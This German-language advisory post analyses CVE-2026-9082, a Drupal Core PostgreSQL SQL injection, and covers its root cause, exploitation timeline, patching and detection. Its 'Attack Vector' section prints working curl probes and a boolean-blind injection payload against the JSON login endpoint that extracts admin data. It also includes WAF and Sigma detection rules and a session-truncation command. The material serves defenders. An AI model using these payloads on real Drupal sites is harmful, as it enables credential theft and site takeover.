CVE-2026-9082: Drupal Core SQL Injection, Highly Critical, auf CISA KEV

Diese Woche in unserer InSEKurity-der-Woche-Serie: eine unauthentifizierte SQL Injection in Drupal Core, die einen JSON-Objekt-Schlüssel auf dem öffentlichen Login-Endpunkt — und einen geklammerten Filterparameter auf dem öffentlichen JSON:API-Endpunkt — in rohes SQL verwandelt, das die Datenbank ausführt. Die Schwachstelle, CVE-2026-9082 (Advisory SA-CORE-2026-004), betrifft jede Drupal-Site auf PostgreSQL von Version 8.9.0 bis 11.3.9, einschließlich der aktuellen 10.x- und 11.x-Branches. Drupal selbst stuft die Schwachstelle mit 23/25 „Highly Critical” ein; Imperva beobachtete innerhalb von 48 Stunden nach Veröffentlichung mehr als 15.000 Exploit-Versuche gegen ~6.000 Sites in 65 Ländern; CISA hat die CVE am 22.05.2026 in den Known Exploited Vulnerabilities-Katalog aufgenommen, mit einer Patch-Frist für US-Bundesbehörden bis zum 27.05.2026. Der verwundbare Codepfad ist von einem anonymen Benutzer auf einer Standard-Drupal-Installation erreichbar — ohne Token, ohne Session, ohne Account. Wenn Sie eine Drupal-Site betreiben, müssen Sie heute fast sicher wissen, ob sie mit PostgreSQL spricht, und Sie müssen sie fast sicher noch heute patchen.

Summary

CVE-ID: CVE-2026-9082
Drupal Advisory: SA-CORE-2026-004
Drupal Risk Score: 23/25 — Highly Critical
CVSS 3.1 Score (CISA): 6.5
CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command — „SQL Injection”)
Betroffene Software: Drupal Core 8.9.0 bis 11.3.9 — nur PostgreSQL-Datenbank-Backends (MySQL, MariaDB, SQLite sind nicht betroffen)
Verwundbare Komponente: core/modules/pgsql/src/EntityQuery/Condition.php (PostgreSQL Entity Query-Backend); erreichbar über /user/login?_format=json und /jsonapi/node/{bundle}
Angriffsvektor: Netzwerk, remote, unauthentifiziert — anonymer Benutzer
Authentifizierung erforderlich: Keine
Benutzerinteraktion: Keine
Auswirkung: Beliebige SQL-Leseoperationen auf alle Daten, auf die der Drupal-Datenbankbenutzer Zugriff hat — Session-Tokens, gehashte Admin-Credentials, Konfiguration — mit einer Eskalation von Informationsoffenlegung zu Privilege Escalation, Account-Übernahme und für Drupal nach DB-Read gut dokumentierten Remote Code Execution-Pfaden
Patch-Status: Verfügbar — 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10
Veröffentlicht: Drupal SA-CORE-2026-004 veröffentlicht am 20.05.2026; Risk Score am 22.05.2026 aktualisiert, um die aktive Ausnutzung widerzuspiegeln
Gemeldet von: Searchlight Cyber Research-Team
Exploitation-Status: Aktiv in freier Wildbahn — Imperva beobachtete 15.000+ Versuche gegen ~6.000 Sites in 65 Ländern innerhalb von 48 Stunden; öffentlicher PoC auf GitHub verfügbar; CISA KEV-gelistet am 22.05.2026 mit FCEB-Frist 27.05.2026

Was ist Drupal?

Drupal ist eine der drei dominanten Open-Source-CMS-Plattformen der Welt (neben WordPress und Joomla). Es treibt schätzungsweise 1,7 % aller Websites an, aber seine wahre Bedeutung konzentriert sich auf zwei Segmente, in denen es dominiert: Behörden und Hochschulen (Bundes- und Landesbehörden weltweit, mit umfangreichem Einsatz in öffentlichen Portalen in den USA und Europa) und Enterprise-Brand-Sites (große Medienangebote, Finanzdienstleister, Gesundheitswesen). Sein Sweet Spot sind Sites, die feingranulare redaktionelle Workflows, Content-Modellierung, mehrsprachige Inhalte und jene Art von Zugriffskontrolle benötigen, die eine WordPress-Installation ohne signifikanten Plugin-Wildwuchs nicht erreicht.

Architektonisch ist Drupal eine PHP-Anwendung auf Basis von Symfony-Komponenten, mit einer Datenbankabstraktionsschicht, die MySQL/MariaDB, PostgreSQL und SQLite unterstützt. Die Entity API ist der moderne Weg, Inhalte zu modellieren und abzufragen; das JSON:API-Modul gehört seit Drupal 8.7 (2019) zum Core und ist in vielen Distributionen standardmäßig aktiviert — es stellt Entity-Daten über eine standardisierte RESTful-Schnittstelle unter /jsonapi/... bereit. Diese Schnittstelle — gerade weil sie Teil des Core ist — ist auf jeder Standard-Drupal-Site, die sie nicht explizit eingeschränkt hat, von anonymen Benutzern erreichbar.

Die PostgreSQL-Adoption im Drupal-Ökosystem ist relevant, aber eine Minderheit der Installationen — die Wurzeln der Plattform liegen bei MySQL/MariaDB. Das PostgreSQL-Backend erhält daher pro Codezeile weniger Aufmerksamkeit als der MySQL-Pfad, und genau diese Asymmetrie erzeugt einen „Highly Critical”-Bug.

Typische Anwendungsfälle

Behörden- und Public-Sector-Portale — Bundes-, Landes- und Kommunalwebsites; Behörden-Intranets; Informationsfreiheits-Portale.
Hochschulwebsites — Universitäts-Hauptauftritte, Fakultäts- und Lehrstuhlseiten, Forschungsportale; Drupal ist in diesem Segment überrepräsentiert.
Enterprise-CMS — große Medienorganisationen, Nachrichtenverlage, Brand-Sites von Finanzdienstleistern, Auftritte von Gesundheitsdienstleistern.
Mehrsprachige Sites — die Content-Übersetzungs-Pipeline von Drupal ist im Open-Source-CMS-Bereich erstklassig.
Headless / Decoupled-Architekturen — Drupal als Backend mit einem JavaScript-Frontend, das ausschließlich über JSON:API kommuniziert. Dieses Deployment-Modell ist genau das, das CVE-2026-9082 am stärksten exponiert.
NGOs und Non-Profits — große spender- und mitgliederorientierte Sites, die redaktionelle Workflows benötigen.

Da Drupal das CMS der Wahl für viele regulierte und hochwertige Organisationen ist, lebt eine Drupal-Kompromittierung selten innerhalb einer einzelnen Site — sie pivotiert in redaktionelle Systeme, in Integrations-Tokens für vorgelagerte Identity-Provider (SAML, OIDC) und häufig in geteilte Infrastruktur dahinter.

Technical Analysis

Vulnerability Description

CVE-2026-9082 ist eine anonyme SQL Injection im PostgreSQL Entity Query-Backend von Drupal Core. Die Ursache ist strukturell: Das PostgreSQL-Backend überschreibt den Standard-Condition-Handler, um Wertevergleiche für case-insensitive Matching in LOWER() einzuwickeln (PostgreSQL ist standardmäßig case-sensitiv; MySQL nicht, weshalb MySQL/MariaDB nicht betroffen sind). Für IN-Klauseln iteriert das Backend über das Array der Vergleichswerte und baut pro Wert ein LOWER(:placeholder)-Fragment. Der Placeholder-Name wird durch String-Konkatenation eines Präfixes mit dem Array-Schlüssel konstruiert — mit der impliziten Annahme, dass der Array-Schlüssel ein sequenzieller Integer ist.

Wenn die Request-Payload über das REST/JSON:API-Plumbing von Drupal in die Entity Query gelangt, werden die Schlüssel nicht auf sequenzielle Integer normiert. Ein Angreifer, der ein assoziatives Array mit von ihm kontrollierten String-Schlüsseln liefert, sieht diese Schlüssel wortgetreu in den SQL-String eingefügt, den der Datenbanktreiber gleich vorbereiten wird. Der PDO-Bind-Schritt erfolgt nachdem der String gebaut wurde, sodass der Schlüssel des Angreifers im SQL-Text landet, nicht in einem Parameter-Slot. Das Ergebnis ist eine klassische bind-time SQL Injection in Code, der bei visueller Inspektion parametrisiert aussieht.

Der Fix von Drupal ist ein dreizeiliger Patch: drei strategische array_values()-Aufrufe, die assoziative Array-Schlüssel vor dem verwundbaren Loop auf sequenzielle Integer zurücksetzen.

Die beiden erreichbaren Einstiegspunkte sind beide standardmäßig aktiv und beide anonym:

POST /user/login?_format=json — der JSON-formatierte Login-Endpunkt akzeptiert ein strukturiertes name-Feld. Ein Angreifer, der name als JSON-Objekt statt als String übergibt, bekommt seine Objekt-Schlüssel in die Entity Query.
GET /jsonapi/node/{bundle} — die Syntax der JSON:API-Filterparameter (?filter[t][condition][value][...]=...) erlaubt es dem Angreifer, präparierte Schlüssel in das Werte-Array zu verschachteln, das das PostgreSQL-Backend iterieren wird.

Root Cause Analysis

Workaround für PostgreSQL-Case-Insensitivity: PostgreSQL-Stringvergleiche sind standardmäßig case-sensitiv; das PostgreSQL-Backend von Drupal wickelt beide Seiten von =- und IN-Vergleichen in LOWER() ein, um datenbankübergreifend case-insensitives Verhalten bereitzustellen. Dieses Wrapping ist der Grund, warum das PostgreSQL-Backend einen eigenen Loop hat — und der Grund, warum MySQL/MariaDB/SQLite-Pfade nicht betroffen sind.
String-konkatenierte Placeholder-Namen: Der Pre-Patch-Loop in core/modules/pgsql/src/EntityQuery/Condition.php konstruierte jeden Placeholder-Namen als ':' . $where_prefix . $key. Die Prepared-Statement-Schicht von PDO behandelt Placeholder-Namen als Teil des SQL-Texts — sie werden vor dem Parsen durch die Datenbank in das Statement interpoliert.
Implizite Annahme numerischer Schlüssel: Der Loop behandelt $key als sequenziellen Integer (0, 1, 2, …). Diese Annahme stimmt, wenn das Array über interne Drupal-Codepfade in den Loop gelangt, aber nicht, wenn das Array von Benutzereingaben über die REST/JSON:API-Decoder gebaut wird.
REST-Decoder erhalten Schlüssel: Die JSON-Request-Decoder von Drupal übernehmen assoziative Schlüssel aus dem Request-Body und aus der geklammerten Query-String-Syntax in das resultierende PHP-Array. Die JSON:API-Filtersyntax (filter[a][b][c][value][key]=...) ist gerade dafür entworfen, verschachtelte assoziative Strukturen auszudrücken.
Anonyme Endpunkte: /user/login?_format=json ist per Definition unauthentifiziert. /jsonapi/node/{bundle} ist in Installationen mit JSON:API standardmäßig aktiviert und stellt anonymen Lesezugriff auf öffentliche Inhalte bereit (der normale Drupal-Standard).
Der Fix besteht aus drei array_values()-Aufrufen: Der Post-Patch-Code ruft array_values() auf den betroffenen Arrays vor dem Loop auf. Das kollabiert alle vom Angreifer gelieferten Schlüssel auf 0..N-Indizes. Die Größe des Fixes ist die Umkehrung der Schwere des Bugs — ein Ein-Zeichen-Versäumnis kostete das Projekt ein „Highly Critical”.

Attack Vector

Der PoC ist kurz. Die Skizzen unten sind ausschließlich illustrativ — sie zeigen die Form des Angriffs, damit Verteidiger die relevanten Request-Signaturen erkennen, nicht um einen waffenfähigen Exploit zu produzieren.

# Schritt 1: Erkennen, ob eine Ziel-Drupal-Site PostgreSQL nutzt. Die
# Schwachstelle ist PostgreSQL-only - das ist der erste Schritt der
# Enumeration. Anonymes error-based Probing auf dem JSON:API-Endpunkt
# ist das sauberste Indiz. Ein verwundbarer Host antwortet mit
# HTTP 500 und einem SQLSTATE[HY093]-Payload; ein gepatchter oder
# nicht-PostgreSQL-Host antwortet mit HTTP 400/200 ohne SQLSTATE-
# Marker.
curl -sS -o /tmp/probe.json -w '%{http_code}\n' \
    "https://target.example/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][\`]=x"

grep -E 'SQLSTATE\[(HY093|22012)\]' /tmp/probe.json && \
    echo "VERWUNDBAR: PostgreSQL Drupal, CVE-2026-9082" || \
    echo "Nicht verwundbar auf dieser Signatur"

# Schritt 2 (Variante A - JSON-Login boolean-blind Extraktion). Der
# /user/login JSON-Endpunkt akzeptiert ein 'name'-Objekt; der
# Angreifer liefert einen assoziativen Array-Schluessel, der Teil
# des SQL-Placeholder-Namens wird. Ein Divide-by-Zero-Gadget
# wandelt ein SQL-Boolean-Praedikat in HTTP 500 (true) vs
# HTTP 400 (false), womit der Angreifer einen Ein-Bit-Kanal hat,
# den er Zeile/Spalte fuer Zeile/Spalte abklappert.
curl -sS -o /dev/null -w 'HTTP %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -X POST "https://target.example/user/login?_format=json" \
    -d '{
          "name": {
            "0": "drupal",
            "0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE \"d%\" THEN 0 END)": "drupal"
          },
          "pass": "drupal"
        }'

# HTTP 500 (Division durch Null) => Praedikat true; HTTP 400 => false.
# Der Angreifer extrahiert den Admin-Benutzernamen, den Passwort-
# Hash, die Session-Tabelle und beliebige andere DB-Inhalte Bit
# fuer Bit.

# Schritt 2 (Variante B - JSON:API-Filter error-based Detection).
# Dieselbe Bug-Klasse ist ueber den oeffentlichen JSON:API-
# Filterparameter auf jedem Node-Bundle erreichbar, das die Site
# anonym exponiert.
curl -sS -o /tmp/r.json -w 'HTTP %{http_code}\n' \
    "https://target.example/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][\`]=x"

# Ein verwundbarer Host antwortet mit HTTP 500 und dem
# SQLSTATE[HY093]-Marker (invalid parameter) - die Beschwerde des
# Datenbanktreibers ueber den fehlerhaften Placeholder-Namen, den
# der Angreifer injiziert hat. Von dort extrahieren dieselben
# boolean/error-based Primitive Daten Zeile fuer Zeile.

Eine vereinfachte Paket-Sicht auf die JSON-Login-Variante:

Angreifer (anonym, keine Auth)                Drupal + PostgreSQL
   |                                                 |
   |  POST /user/login?_format=json                  |
   |  Content-Type: application/json                 |
   |  { "name": { "0":"drupal",                      |
   |             "<SQL-Fragment>":"drupal" },        |
   |    "pass": "drupal" }                           |
   |------------------------------------------------>|  JSON-Decoder
   |                                                 |  uebernimmt
   |                                                 |  assoziative
   |                                                 |  Schluessel
   |                                                 |  in PHP-Array
   |                                                 |
   |                                                 |  Entity Query
   |                                                 |  PG-Backend
   |                                                 |  baut:
   |                                                 |  LOWER(:db_cond_<KEY>)
   |                                                 |  wobei <KEY>
   |                                                 |  das SQL-
   |                                                 |  Fragment ist
   |                                                 |
   |                                                 |  PDO prepare:
   |                                                 |  rohes SQL
   |                                                 |  enthaelt
   |                                                 |  Fragment in
   |                                                 |  Placeholder-
   |                                                 |  Position -
   |                                                 |  PostgreSQL
   |                                                 |  parst es
   |                                                 |
   |<-- HTTP 500 (true) / HTTP 400 (false) ----------|
   v                                                 v
   1 Bit extrahiert; wiederholen, um Admin-Hash / Session-Tabelle
   auszulesen.

Exploitation in the Wild

19.05.2026 — Drupal koordiniert die Disclosure mit nachgelagerten Packagern; erste Writeups sind embargoed.
20.05.2026 — SA-CORE-2026-004 veröffentlicht; gepatchte Versionen landen auf Drupal.org packagist, Pantheon, Acquia und in den Kanälen der wichtigsten Distros.
21.05.2026 — Öffentlicher PoC-Scanner erscheint auf GitHub; erste Welle opportunistischen Probings beginnt.
22.05.2026 — Drupal aktualisiert den SA-Risk-Score, um aktive Ausnutzung in freier Wildbahn zu kennzeichnen; CISA nimmt CVE-2026-9082 in den Known Exploited Vulnerabilities-Katalog auf mit FCEB-Frist 27.05.2026.
22./23.05.2026 — Imperva berichtet von beobachteten 15.000+ Exploit-Versuchen gegen ungefähr 6.000 einzigartige Drupal-Sites in 65 Ländern; fast die Hälfte des beobachteten Traffics zielt auf Gaming- und Finanzdienstleister-Sites.

Volumen und geographische Verteilung innerhalb der ersten 48 Stunden, kombiniert mit der Dual-Vektor-Erreichbarkeit (Login + JSON:API), zeigen das Profil breiter opportunistischer Ausnutzung statt gezielter Intrusion. Behandeln Sie jede ungepatchte PostgreSQL-basierte Drupal-Site als kompromittiert, bis das Gegenteil bewiesen ist.

Post-Exploitation Impact

Vollständiger Datenbank-Read: alle Daten, auf die der Drupal-DB-Benutzer SELECTen kann — Session-Tokens, gehashte Admin-Credentials (users_field_data.pass), private Inhalte, Konfiguration, in config-Zeilen abgelegte Integrations-Credentials.
Account-Übernahme: aus der sessions-Tabelle entwendete Session-Tokens erlauben dem Angreifer, lebende Admin-Sessions wiederzuverwenden, ohne einen Passwort-Hash zu knacken.
Privilege Escalation über Password-Reset: mit Lesezugriff auf interne Session-/Token-Tabellen fälscht oder wiederholt der Angreifer Passwort-Reset-Workflows für beliebige Konten, einschließlich uid = 1 (dem allmächtigen „User 1”).
Pfad zu RCE: ein Drupal-Admin kann Module installieren, Twig-Templates bearbeiten und PHP-Ausführungspfade aktivieren — d.h. ein SQL-Read-Primitiv, das Admin-Authentifizierung liefert, ist ein Ein-Schritt-Pivot zu Remote Code Execution auf der Web-Schicht.
Stored-Credential-Pivot: viele Drupal-Sites legen API-Schlüssel, SMTP-Credentials, Drittanbieter-Integrationsgeheimnisse und SAML/OIDC-Signing-Keys in config-Zeilen ab; deren Diebstahl pivotiert die Kompromittierung vorgelagert in den Identity-Provider, die Mail-Plattform und das SaaS-Inventar des Kunden.
Stealth-Read: die SQL-Injection ist im Regelfall ein SELECT-Primitiv. Sites ohne Request-Body-Logging behalten möglicherweise keinen Beweis dessen, was extrahiert wurde — nur, dass ein 500 aufgetreten ist.

Impact Assessment

Immediate Impact

Unauthentifizierte SQL Injection auf einer Standard-Drupal-Installation — keine Credentials, kein Token, kein Fußabdruck erforderlich.
Zwei anonyme Erreichbarkeitspfade — der JSON-Login-Endpunkt und die JSON:API-Filterparameter-Syntax.
Drupal-eigenes Rating 23/25 „Highly Critical” — der höchste praktische Bucket auf der eigenen Skala von Drupal; reserviert für Probleme, die eine triviale unauthentifizierte Kompromittierung beliebiger Daten erlauben.
Aktive Massenausnutzung — 15.000+ Versuche in 48 Stunden, 65 Länder; die Hürde zur Waffenfähigkeit liegt am Boden.
CISA KEV mit FCEB-Frist 27.05.2026 — die regulatorische Bestätigung der Bedrohungsbewertung.
Pivot-reich: SQL-Read auf einer Drupal-Datenbank ist eine Startlinie, keine Ziellinie — der realistische Worst Case ist Admin-Session-Übernahme, Twig-Template-RCE und laterale Bewegung in abgelegte Integrationsgeheimnisse.

Affected Versions

Drupal-Serie	Verwundbar	Behoben in
8.9.x	Alle Builds	EOL (nur Best-Effort-Patch)
9.x	Alle Builds	EOL (nur Best-Effort-Patch)
10.4.x	10.4.0 — 10.4.9	10.4.10
10.5.x	10.5.0 — 10.5.9	10.5.10
10.6.x	10.6.0 — 10.6.8	10.6.9
11.0.x — 11.1.x	Alle Builds	11.1.10 (Best-Effort für pre-11.1)
11.2.x	11.2.0 — 11.2.11	11.2.12
11.3.x	11.3.0 — 11.3.9	11.3.10

Drupal 7 ist nicht betroffen (andere Codepfade). MySQL/MariaDB- und SQLite-Backends sind nicht betroffen, unabhängig von der Drupal-Version. Distro-/Hosting-Provider-Paketversionen (Pantheon, Acquia, Platform.sh, Debian DSAs, Ubuntu USNs) können dem Upstream-Release-Fenster um Stunden hinterherhinken.

Affected Environments

Public-Sector-Portale — Bundes-, Landes- und Kommunalwebsites auf Drupal. Der Drupal-Fußabdruck im Behördenbereich ist der Grund, warum die FCEB-Frist von CISA so kurz ist.
Hochschulwebsites — Universitäts-Hauptauftritte sowie Fakultäts- und Lehrstuhl-Portale.
Enterprise-CMS — große Medien-, Finanzdienstleister- und Gesundheits-CMS-Deployments.
Headless / Decoupled-Architekturen — Sites, in denen JSON:API die einzige Schnittstelle ist, die das Frontend nutzt; der JSON:API-Filterparameter-Vektor trifft diese am härtesten.
Multi-Tenant-Drupal-Hosts — gemanagte Drupal-Plattformen, die viele Kunden-Sites auf geteilter Infrastruktur betreiben.
PostgreSQL-basierte Installationen überall — einschließlich On-Prem-Hosting und Air-Gapped-Intranet-Portalen, die möglicherweise nicht im selben Patch-Fenster wie die öffentlichen Sites liegen.

Attacker Profiles

Opportunistische Massenausnutzung — der öffentliche PoC kombiniert mit dem einfachen Fingerprinting (der SQLSTATE-Marker auf dem JSON:API-Filterendpunkt) macht dies zu einem perfekten Massen-Scan-Ziel.
Initial-Access-Broker — der Pfad von anonymem SQL-Read über Admin-Session zu Twig-RCE ist gut ausgetreten; diese CVE ist ein frischer Strom an frischen Footholds für den Access-Broker-Markt.
Ransomware-Affiliates — Web-Tier-RCE auf einer Drupal-Site ist ein klassischer Eintrittspunkt in das interne Inventar des Kunden.
Hacktivisten gegen Public-Sector-Sites — die Konzentration von Drupal in der öffentlichen Verwaltung macht hochkarätige Defacements zu einem wahrscheinlichen Folgeresultat.
Daten-Diebstahl-Operatoren — private Inhalte, Mitglieder-Datenbanken, Spender-/Konstituenten-Listen, Integrationsgeheimnisse.
Nation-State-Targeting regulierter Sektoren — die Gaming-/Finanzdienstleister-Konzentration in den ersten 48 Stunden der Ausnutzung deutet darauf hin, dass auch strategischere Akteure im Mix sind.

Mitigation Strategies

Immediate Actions (Priority 1)

Auf das gepatchte Drupal-Release Ihres Branches aktualisieren. Dies ist der einzige dauerhafte Fix:

# Aktuelle Drupal-Version ermitteln. Aus dem Docroot ausfuehren.
drush status --fields=drupal-version
# oder - falls drush nicht verfuegbar ist - via CLI-Bootstrap:
php -r "include 'core/lib/Drupal.php'; echo \Drupal::VERSION;"

# Update via Composer (der unterstuetzte Pfad auf 10.x / 11.x).
composer require 'drupal/core-recommended:^11.3.10' \
                 'drupal/core-composer-scaffold:^11.3.10' \
                 'drupal/core-project-message:^11.3.10' \
                 --update-with-all-dependencies

# Datenbank-Updates ausfuehren und Caches loeschen.
drush updatedb -y
drush cache:rebuild

Verifizieren, welches Datenbank-Backend die Site tatsächlich nutzt — dies ist die wichtigste Triage-Frage. Nur PostgreSQL-basierte Sites sind verwundbar:

# Aktiven Datenbanktreiber von einem verwundbaren Drupal-Host
# pruefen.
drush sql:conf --format=json | python3 -c \
    "import json,sys; d=json.load(sys.stdin); \
     print('DRIVER:', list(d.values())[0]['driver'])"

# Alternative: settings.php direkt inspizieren (Pfade koennen
# variieren).
grep -E "'driver' *=>" sites/default/settings.php

Wenn Sie nicht innerhalb von Stunden patchen können, schränken Sie die beiden anonymen Einstiegspunkte am Edge ein. Dies ist eine Notbremse, kein Fix:

# nginx - 403 zurueckgeben fuer den JSON-Login-Endpunkt und den
# JSON:API-Filterparameter. Beides bricht legitime Funktionalitaet,
# also planen Sie direkt danach ein echtes Patch-Fenster.
location = /user/login {
    if ($arg__format = "json") { return 403; }
}
location ~ ^/jsonapi/ {
    if ($args ~ "filter\[") { return 403; }
}

# Apache-Aequivalent - mod_rewrite, das die beiden bekannten
# Oberflaechen verweigert.
RewriteEngine On
RewriteCond %{QUERY_STRING} (^|&)_format=json
RewriteRule ^/user/login - [F,L]
RewriteCond %{QUERY_STRING} filter\[
RewriteRule ^/jsonapi/ - [F,L]

Rotieren Sie jeden Credential, den die Drupal-Datenbank lesen konnte, im Expositionsfenster: Admin-Passwörter (Force-Reset aller uid-Konten mit Admin-Rollen), Session-Tabellen (drush sql:query "TRUNCATE TABLE sessions;"), in config-Zeilen abgelegte API-Schlüssel, SAML/OIDC-Signing-Keys, SMTP-Credentials, Drittanbieter-Integrations-Tokens. Vom Worst Case ausgehen.

Jede Drupal-Site inventarisieren, die Sie betreiben, auch die vergessenen. Sub-Sites, archivierte Microsites, Kampagnen-Sites und „die schalten wir nächstes Quartal ab”-Sites sind genau die Population, die bei solchen Ereignissen kompromittiert wird. Ein einziger grep reicht zum Anfang:

# Cluster-weites Inventar der Drupal-Installationen und ihrer
# Datenbank-Treiber. Die Schnittmenge "PostgreSQL && ungepatcht"
# ist die Notfall-Patch-Liste.
for host in $(cat hosts.txt); do
    ssh "$host" '
        for f in $(find /var/www /srv -name settings.php 2>/dev/null); do
            version=$(grep -hoE "VERSION = .[0-9.]+." \
                      "$(dirname "$f")/../../core/lib/Drupal.php" 2>/dev/null \
                      | head -n1)
            driver=$(grep -hoE "'\''driver'\'' *=> *'\''[a-z]+'\''" "$f" \
                     | head -n1)
            echo "$host $f $version $driver"
        done
    '
done | tee drupal-inventory.txt

Drupal-Steward-Kunden — WAF-Schutz gegen dieses spezifische Advisory wird vom Steward-Programm der Drupal Association ausgerollt. Dies ist kein Ersatz für das Patchen, verkürzt aber das Expositionsfenster für Sites, die echt nicht sofort einen Code-Change deployen können.

Detection Measures

Die Schwachstelle hat zwei saubere Detection-Signaturen: einen datenbankseitigen SQLSTATE-Marker und eine Request-Form auf der Web-Schicht. Jede für sich ist ein hochsignaliger Indikator.

# (a) Web-Schicht - die beiden bekannten Request-Formen in
# nginx/Apache-Access-Logs jagen. Eine gepatchte Site empfaengt
# diese Requests immer noch von opportunistischen Scannern; auf
# einer verwundbaren Site gaben sie wahrscheinlich HTTP 500 zurueck.
grep -E 'POST /user/login\?_format=json' /var/log/nginx/access.log
grep -E 'GET /jsonapi/.+filter\[' /var/log/nginx/access.log \
    | grep -E ' (500|400) '

# (b) Datenbank-Seite - SQLSTATE[HY093] und SQLSTATE[22012] in
# PHP-Error-Logs ab dem 20. Mai 2026 sind starke Indikatoren fuer
# das Angriffsmuster (der Angreifer nutzt die Error-Message als
# Datenextraktions-Kanal).
grep -E 'SQLSTATE\[(HY093|22012)\]' /var/log/php-fpm/*.log \
    /var/log/drupal/*.log 2>/dev/null

# (c) Drupal-Watchdog-Tabelle - wenn dblog genutzt wird (Standard
# in vielen Installationen), erscheinen dieselben SQLSTATE-Marker
# auch dort:
drush sql:query "SELECT timestamp, type, message FROM watchdog \
                 WHERE message ILIKE '%SQLSTATE[HY093]%' \
                    OR message ILIKE '%SQLSTATE[22012]%' \
                 ORDER BY timestamp DESC LIMIT 50;"

# (d) Sessions-Tabelle - wenn Angreifer auf eine Admin-Session-
# Uebernahme eskaliert haben, sehen Sie moeglicherweise anonym
# erstellte Sessions, die spaeter ohne entsprechendes erfolgreiches
# Login-Event uid=1 annehmen. Jagen Sie Sessions, deren Quell-IP
# vom historischen Admin-IP-Muster abweicht.
drush sql:query "SELECT uid, hostname, timestamp, sid FROM sessions \
                 WHERE uid = 1 ORDER BY timestamp DESC LIMIT 20;"

SIEM-Detection-Content (Sigma-Style-Skizze):

title: Drupal CVE-2026-9082 SQL Injection Probe
description: >
  Erkennt Request-Formen im Zusammenhang mit CVE-2026-9082
  PostgreSQL EntityQuery SQL Injection in Drupal Core
  (SA-CORE-2026-004).
status: experimental
references:
  - https://www.drupal.org/sa-core-2026-004
logsource:
  category: webserver
detection:
  json_login:
    cs-method: POST
    cs-uri-stem: /user/login
    cs-uri-query|contains: '_format=json'
  jsonapi_filter:
    cs-uri-stem|startswith: /jsonapi/
    cs-uri-query|re: 'filter\[.*?\]\[.*?\]\[value\]\['
  http_500:
    sc-status: 500
  condition: (json_login or jsonapi_filter) and http_500
level: high

WAF-Regel-Skizze (ModSecurity / Äquivalente):

SecRule REQUEST_URI "@beginsWith /jsonapi/" \
    "chain,phase:2,deny,status:403,id:202690082,\
     msg:'CVE-2026-9082 JSON:API filter injection probe'"
  SecRule ARGS_NAMES "@rx ^filter\[.*\]\[.*\]\[value\]\[[^0-9]" \
      "t:none"

SecRule REQUEST_URI "@beginsWith /user/login" \
    "chain,phase:2,deny,status:403,id:202690083,\
     msg:'CVE-2026-9082 JSON login injection probe'"
  SecRule ARGS:_format "@streq json" \
      "chain,t:none"
    SecRule REQUEST_BODY "@rx \"name\"\s*:\s*\{" \
        "t:none"

Long-term Security Improvements

JSON:API standardmäßig zu großzügig exponiert: prüfen Sie, ob Ihre Drupal-Site tatsächlich anonymes JSON:API auf jedem Entity-Typ benötigt. Das jsonapi_extras-Modul erlaubt es, Endpunkte zu deaktivieren, die Sie nicht wirklich nutzen; für viele klassische CMS-Deployments lautet die Antwort „alle”.
Login-Endpunkt am Edge rate-limitieren: /user/login?_format=json ist eine strukturierte Login-Oberfläche, die legitime Benutzer sehr selten mit hoher Frequenz treffen. Ein WAF-Rate-Limit (z. B. 10 Requests/Minute/IP) verkürzt das Datenextraktions-Fenster für Blind-SQL-Injection.
Least Privilege auf Datenbank-Ebene: der Drupal-Datenbankbenutzer braucht kein CREATE FUNCTION, COPY ... TO PROGRAM oder andere PostgreSQL-Features, die SQL Injection zu RCE machen. Betreiben Sie Drupal mit einer Datenbankrolle, die den minimalen Satz an Objektprivilegien hat (SELECT/INSERT/UPDATE/DELETE auf das Applikations-Schema, nicht mehr).
Secrets in config verschlüsseln oder auslagern: Integrations-Tokens, API-Schlüssel und SMTP-Credentials in config-Zeilen sind exakt die Payload, die ein SQL-Read maximal belohnt. Die Contrib-Module key und encrypt lagern sensible Werte in ein Key-Management-Backend aus.
„Highly Critical”-Drupal-SAs als 24-Stunden-SLAs behandeln: die Risk-Scoring-Skala von Drupal toppt genau bei jener Art von Bug, die Sie sich nicht leisten können, über Nacht ungepatcht zu lassen. Bauen Sie die Change-Management-Pipeline so, dass ein am Dienstagnachmittag UTC veröffentlichtes SA-CORE vor Mittwochmorgen UTC gepatcht ist.
Watchdog-/SIEM-Coverage für Datenbanktreiber-Fehler: SQLSTATE[*]-Exceptions, die im Watchdog (oder in PHP-Error-Logs) auftauchen, sind ein unterausgenutztes Detection-Signal. Pipen Sie sie ins SIEM und alarmieren auf Volumenänderungen.
Verifizieren, dass Backups aus einem bekanntlich sauberen Checkpoint wiederhergestellt werden können: eine zur Admin-Übernahme und Twig-RCE eskalierte SQL-Injection-Kompromittierung ist selten sauberer zu remediieren als das Wiederherstellen aus einem Pre-Incident-Snapshot. Das setzt voraus, dass der Snapshot gut ist; üben Sie das.

Why is this Critical?

Anonyme, unauthentifizierte SQL Injection im Core, auf einer Standard-Drupal-Installation.
Zwei Erreichbarkeitspfade — beide standardmäßig in den meisten Installationen aktiv (/user/login?_format=json und /jsonapi/...).
Eigene „Highly Critical”-Bewertung von Drupal — 23 von 25, der schwerwiegendste praktische Bucket.
Aktive Massenausnutzung — 15.000+ Versuche gegen 6.000 Sites in 65 Ländern innerhalb von 48 Stunden.
CISA KEV mit 5-Tage-FCEB-Frist — die regulatorische Bestätigung.
Hoher Pivot-Wert — SQL-Read auf einer Drupal-Datenbank kettet typischerweise zu Admin-Session-Übernahme, Twig-Template-RCE und lateraler Bewegung in abgelegte Integrations-Credentials.
Konzentriert in regulierten und hochwertigen Sektoren — öffentlicher Sektor, Hochschulen, Finanzdienstleister, Gaming, Gesundheitswesen.
Ein-Zeichen-Fix — die Trivialität des Patches ist die Umkehrung dessen, wie leicht der ursprüngliche Bug durch den Review schlüpfte; rechnen Sie mit Nachahmern in ähnlichen Abstraktionen in anderen CMS-Datenbank-Backends.

Timeline and Disclosure

19.05.2026 — Drupal koordiniert die Disclosure mit nachgelagerten Packagern (Pantheon, Acquia, Platform.sh, Distro-Maintainer); embargoed Writeups werden verteilt.
20.05.2026 — SA-CORE-2026-004 veröffentlicht; die gepatchten Releases 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10 landen auf Drupal.org packagist und den wichtigsten Distributionskanälen. NVD vergibt CVE-2026-9082.
